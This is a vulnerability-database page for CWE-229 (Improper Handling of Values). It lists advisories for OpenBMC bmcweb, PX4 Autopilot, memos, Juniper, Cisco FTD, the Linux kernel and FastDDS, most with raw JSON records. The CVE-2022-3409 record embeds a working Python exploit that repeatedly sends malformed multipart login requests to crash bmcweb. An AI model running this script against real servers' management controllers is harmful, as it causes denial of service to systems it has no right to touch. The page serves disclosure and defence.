Common Weakness Enumeration

CWE-229

Allowed

Improper Handling of Values

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined.

26 vulnerabilities reference this CWE, most recent first.

CVE-2022-3409 (GCVE-0-2022-3409)

Vulnerability from cvelistv5 – Published: 2022-10-27 13:09 – Updated: 2025-05-05 17:52
VLAI
Title
Unauthenticated out of bounds stack write in bmcweb
Summary
A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
SSVC
Exploitation: none Automatable: yes Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
  • CWE-121 - Stack-based Buffer Overflow
  • CWE-229 - Improper Handling of Values
Assigner
References
Impacted products
Vendor Product Version
OpenBMC Project OpenBMC Affected: 2.10 , < Release* (custom)
Create a notification for this product.
Date Public
2022-10-07 00:00
Credits
Finder: Jakub Rozanski, Intel Corporation Remediation: Krzysztof Grobelny, Intel Corporation
Show details on NVD website
To clipboard 

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        }
      ],
      "exploits": [
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          "lang": "en",
          "value": "import socket\nimport ssl\nimport time\n\nHOST = \"\" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB\nPORT = 443\n\nlength = 322\nadditional = \"\"\n\npayload = \"\"\"POST /login HTTP/1.1\\r\\nHost: \u003cHOST-IP-ADDR-HERE\u003e:8080\\r\\nUser-Agent: curl/7.58.0\\r\\nAccept: */*\\r\\nContent-Length: %s\\r\\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\\r\\n\\r\\n-----------------------------d74496d66958873e\\r\\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\\r\\n\\r\\n\"\"\"\n\nif __name__ == \"__main__\":\n\n    while(True):\n        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)\n\n        client.connect((HOST, PORT))\n        toSend = payload % (str(length), additional)\n        print(toSend)\n        client.send(toSend.encode(\u0027utf-8\u0027))\n        print(client.recv(4096))\n        client.close()\n        time.sleep(0.01)\n        length += 1\n        additional += \"a\""
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CVE-2022-2809 (GCVE-0-2022-2809)

Vulnerability from cvelistv5 – Published: 2022-10-27 13:09 – Updated: 2025-05-05 20:20
VLAI
Title
Unauthenticated out of bounds heap write in bmcweb
Summary
A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
SSVC
Exploitation: none Automatable: yes Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
  • CWE-229 - Improper Handling of Values
  • CWE-122 - Heap-based Buffer Overflow
Assigner
References
Impacted products
Vendor Product Version
OpenBMC Project OpenBMC Affected: 2.10 , < Release* (custom)
Create a notification for this product.
Date Public
2022-10-07 00:00
Credits
Finder: Jakub Rozanski, Intel Corporation Remediation: Krzysztof Grobelny, Intel Corporation
Show details on NVD website
To clipboard 

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GHSA-36M2-FP76-FX6W

Vulnerability from github – Published: 2024-04-10 21:30 – Updated: 2024-08-01 15:31
VLAI
Details

An issue in PX4 Autopilot v.1.14.0 allows an attacker to manipulate the flight path allowing for crashes of the drone via the home point location of the mission_block.cpp component.

Severity
6.6 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-29460"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-229"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-10T21:15:06Z",
    "severity": "MODERATE"
  },
  "details": "An issue in PX4 Autopilot v.1.14.0 allows an attacker to manipulate the flight path allowing for crashes of the drone via the home point location of the mission_block.cpp component.",
  "id": "GHSA-36m2-fp76-fx6w",
  "modified": "2024-08-01T15:31:38Z",
  "published": "2024-04-10T21:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29460"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Drone-Lab/PX4-Autopilot/blob/report-can%27t-finish-mission/report-can%27t-finish-mission.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-42Q2-M54F-JH95

Vulnerability from github – Published: 2022-12-29 18:30 – Updated: 2023-01-10 15:47
VLAI
Summary
sememos/memos vulnerable to Improper Handling of Values
Details

In usememos/memos 0.9.0 and prior, an attacker can post malicious content to another user's memos page via POST request.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/usememos/memos"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.1"
            }
          ],
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        }
      ]
    }
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  "aliases": [
    "CVE-2022-4851"
  ],
  "database_specific": {
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    "github_reviewed_at": "2022-12-30T22:23:38Z",
    "nvd_published_at": "2022-12-29T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In usememos/memos 0.9.0 and prior, an attacker can post malicious content to another user\u0027s memos page via POST request.",
  "id": "GHSA-42q2-m54f-jh95",
  "modified": "2023-01-10T15:47:45Z",
  "published": "2022-12-29T18:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4851"
    },
    {
      "type": "WEB",
      "url": "https://github.com/usememos/memos/commit/3556ae4e651d9443dc3bb8a170dd3cc726517a53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/usememos/memos"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/e3cebc1a-1326-4a08-abad-0414a717fa0f"
    }
  ],
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    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
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    }
  ],
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}

GHSA-55G7-M9V7-8RHG

Vulnerability from github – Published: 2024-07-11 18:31 – Updated: 2024-07-11 18:31
VLAI
Details

An Improper Handling of Values vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS Evolved on ACX 7000 Series allows a network-based, unauthenticated attacker to cause a Denial-of-Service (DoS).

If a value is configured for DDoS bandwidth or burst parameters for any protocol in a queue, all protocols which share the same queue will have their bandwidth or burst value changed to the new value. If, for example, OSPF was configured with a certain bandwidth value, ISIS would also be limited to this value. So inadvertently either the control plane is open for a high level of specific traffic which was supposed to be limited to a lower value, or the limit for a certain protocol is so low that chances to succeed with a volumetric DoS attack are significantly increased. 

This issue affects Junos OS Evolved on ACX 7000 Series:

  • All versions before 21.4R3-S7-EVO,
  • 22.1 versions before 22.1R3-S6-EVO, 
  • 22.2 versions before 22.2R3-S3-EVO,
  • 22.3 versions before 22.3R3-S3-EVO, 
  • 22.4 versions before 22.4R3-S2-EVO,
  • 23.2 versions before 23.2R2-EVO,
  • 23.4

versions

before 23.4R1-S1-EVO, 23.4R2-EVO.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-39531"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-229"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-11T17:15:10Z",
    "severity": "HIGH"
  },
  "details": "An Improper Handling of Values vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS Evolved on ACX 7000 Series allows a network-based, unauthenticated attacker to cause a Denial-of-Service (DoS).\n\nIf a value is configured for DDoS bandwidth or burst parameters for any protocol in\na queue, all protocols which share the same queue will have\ntheir bandwidth or burst value changed to the new value. If, for example, OSPF was configured with a certain bandwidth value, ISIS would also be limited to this value. So inadvertently either the control plane is open for a high level of specific traffic which was supposed to be limited to a lower value, or the limit for a certain protocol is so low that chances to succeed with a volumetric DoS attack are significantly increased.\u00a0\n\n\n\n\nThis issue affects Junos OS Evolved on ACX 7000 Series:\n\n\n\n  *  All versions before 21.4R3-S7-EVO,\n  *  22.1 versions before 22.1R3-S6-EVO,\u00a0\n  *  22.2 versions before 22.2R3-S3-EVO,\n  *  22.3 versions before 22.3R3-S3-EVO,\u00a0\n  *  22.4 versions before 22.4R3-S2-EVO,\n  *  23.2 versions before 23.2R2-EVO,\n  *  23.4 \n\nversions \n\nbefore 23.4R1-S1-EVO, 23.4R2-EVO.",
  "id": "GHSA-55g7-m9v7-8rhg",
  "modified": "2024-07-11T18:31:13Z",
  "published": "2024-07-11T18:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39531"
    },
    {
      "type": "WEB",
      "url": "https://supportportal.juniper.net/JSA82991"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6F5F-5GHV-M9H2

Vulnerability from github – Published: 2025-08-14 18:31 – Updated: 2025-08-14 18:31
VLAI
Details

A vulnerability in the Geolocation-Based Remote Access (RA) VPN feature of Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass configured policies to allow or deny HTTP connections based on a country or region.

This vulnerability exists because the URL string is not fully parsed. An attacker could exploit this vulnerability by sending a crafted HTTP connection through the targeted device. A successful exploit could allow the attacker to bypass configured policies and gain access to a network where the connection should have been denied.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-20268"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-229"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-14T17:15:39Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the Geolocation-Based Remote Access (RA) VPN feature of Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass configured policies to allow or deny HTTP connections based on a country or region.\n\nThis vulnerability exists because the URL string is not fully parsed. An attacker could exploit this vulnerability by sending a crafted HTTP connection through the targeted device. A successful exploit could allow the attacker to bypass configured policies and gain access to a network where the connection should have been denied.",
  "id": "GHSA-6f5f-5ghv-m9h2",
  "modified": "2025-08-14T18:31:30Z",
  "published": "2025-08-14T18:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20268"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ftd-ravpn-geobypass-9h38M37Z"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6XX6-9HJ3-4RV2

Vulnerability from github – Published: 2024-01-18 18:30 – Updated: 2024-06-27 12:30
VLAI
Details

A flaw was found in the Netfilter subsystem in the Linux kernel. The issue is in the nft_byteorder_eval() function, where the code iterates through a loop and writes to the dst array. On each iteration, 8 bytes are written, but dst is an array of u32, so each element only has space for 4 bytes. That means every iteration overwrites part of the previous element, possibly leading to an out-of-bounds write. This flaw allows a local user to cause a denial of service or potentially escalate their privileges on the system.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-0607"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-229",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-18T16:15:08Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in the Netfilter subsystem in the Linux kernel. The issue is in the nft_byteorder_eval() function, where the code iterates through a loop and writes to the `dst` array. On each iteration, 8 bytes are written, but `dst` is an array of u32, so each element only has space for 4 bytes. That means every iteration overwrites part of the previous element, possibly leading to an out-of-bounds write. This flaw allows a local user to cause a denial of service or potentially escalate their privileges on the system.",
  "id": "GHSA-6xx6-9hj3-4rv2",
  "modified": "2024-06-27T12:30:42Z",
  "published": "2024-01-18T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0607"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/commit/c301f0981fdd3fd1ffac6836b423c4d7a8e0eb63"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-0607"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2258635"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7W3J-X6F6-7FF4

Vulnerability from github – Published: 2024-04-23 15:30 – Updated: 2024-07-03 18:36
VLAI
Details

PX4 Autopilot v.1.14 allows an attacker to fly the drone into no-fly zones by breaching the geofence using flaws in the function.

Severity
6.3 (Medium)
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-30800"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-229"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-23T13:15:46Z",
    "severity": "MODERATE"
  },
  "details": "PX4 Autopilot v.1.14 allows an attacker to fly the drone into no-fly zones by breaching the geofence using flaws in the function.",
  "id": "GHSA-7w3j-x6f6-7ff4",
  "modified": "2024-07-03T18:36:39Z",
  "published": "2024-04-23T15:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30800"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PX4/PX4-Autopilot/issues/22282"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PX4/PX4-Autopilot/pull/22394"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-83HG-VHH4-2HFH

Vulnerability from github – Published: 2024-10-23 18:33 – Updated: 2024-10-23 18:33
VLAI
Details

A vulnerability in the geolocation access control feature of Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass an access control policy.

This vulnerability is due to improper assignment of geolocation data. An attacker could exploit this vulnerability by sending traffic through an affected device. A successful exploit could allow the attacker to bypass a geolocation-based access control policy and successfully send traffic to a protected device.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-20431"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-229"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-23T18:15:10Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the geolocation access control feature of Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass an access control policy.\n\n This vulnerability is due to improper assignment of geolocation data. An attacker could exploit this vulnerability by sending traffic through an affected device. A successful exploit could allow the attacker to bypass a geolocation-based access control policy and successfully send traffic to a protected device.",
  "id": "GHSA-83hg-vhh4-2hfh",
  "modified": "2024-10-23T18:33:09Z",
  "published": "2024-10-23T18:33:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20431"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ftd-geoip-bypass-MB4zRDu"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8P3V-87JV-MP95

Vulnerability from github – Published: 2024-04-11 06:30 – Updated: 2024-08-01 15:31
VLAI
Details

An issue was discovered in eProsima FastDDS v.2.14.0 and before, allows a local attacker to cause a denial of service (DoS) and obtain sensitive information via a crafted history_depth parameter in DurabilityService QoS component.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-30917"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-229"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-11T06:15:07Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in eProsima FastDDS v.2.14.0 and before, allows a local attacker to cause a denial of service (DoS) and obtain sensitive information via a crafted history_depth parameter in DurabilityService QoS component.",
  "id": "GHSA-8p3v-87jv-mp95",
  "modified": "2024-08-01T15:31:38Z",
  "published": "2024-04-11T06:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30917"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eProsima/Fast-DDS/issues/4609"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

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